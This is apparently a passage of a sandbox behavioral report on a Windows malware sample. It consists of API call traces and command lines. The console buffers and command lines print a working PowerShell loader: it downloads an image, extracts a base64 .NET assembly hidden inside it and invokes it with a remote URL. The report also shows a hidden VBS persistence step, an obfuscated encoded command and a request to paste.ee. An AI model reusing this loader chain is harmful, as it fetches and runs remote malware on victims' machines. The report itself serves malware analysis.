 buffer: S8vOnB0dGg=' , '' , '2' , 'regasm' , '5' , 'C:\Windows\Temp\', 'hkcmd'))
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000001ef
1 1 0

WriteConsoleW

 buffer: At line:1 char:346
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/634/676/original/rumpe
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: .jpg?1697053529';$webClient = New-Object System.Net.WebClient;$imageBytes = $we
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: bClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetSt
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: ring($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText.IndexO
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: f($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $st
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: artFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageT
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: ext.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::Fro
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: mBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::L
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: oad($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $typ
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: e.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LldTRy8wODA5LzQ1MS40Ni4zLjI5M
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: S8vOnB0dGg=' , '' , '2' , 'regasm' , '5' , 'C:\Windows\Temp\', 'hkcmd'))
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055dc98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055dc98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055dc98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055dc98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055dc98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055dc98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e498
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055ea18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055ea18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055ea18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055ea18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055ea18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055ea18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055ea18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055ea18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055ea18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055ea18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e7d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e858
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055e858
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006008d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006004d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006004d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006004d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00600d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00600d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00600d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00600d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00600d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00600d50
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET https://paste.ee/d/qm3k3
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 2162688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02710000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2144
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0249a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2144
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02492000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0249b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f11000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f13000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f14000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f15000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f16000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f17000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f18000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f19000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f1a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f1b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f1c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f1d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f1e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f1f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f21000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f23000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f24000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasm.vbs -Force }
cmdline powershell -command "$Codigo = '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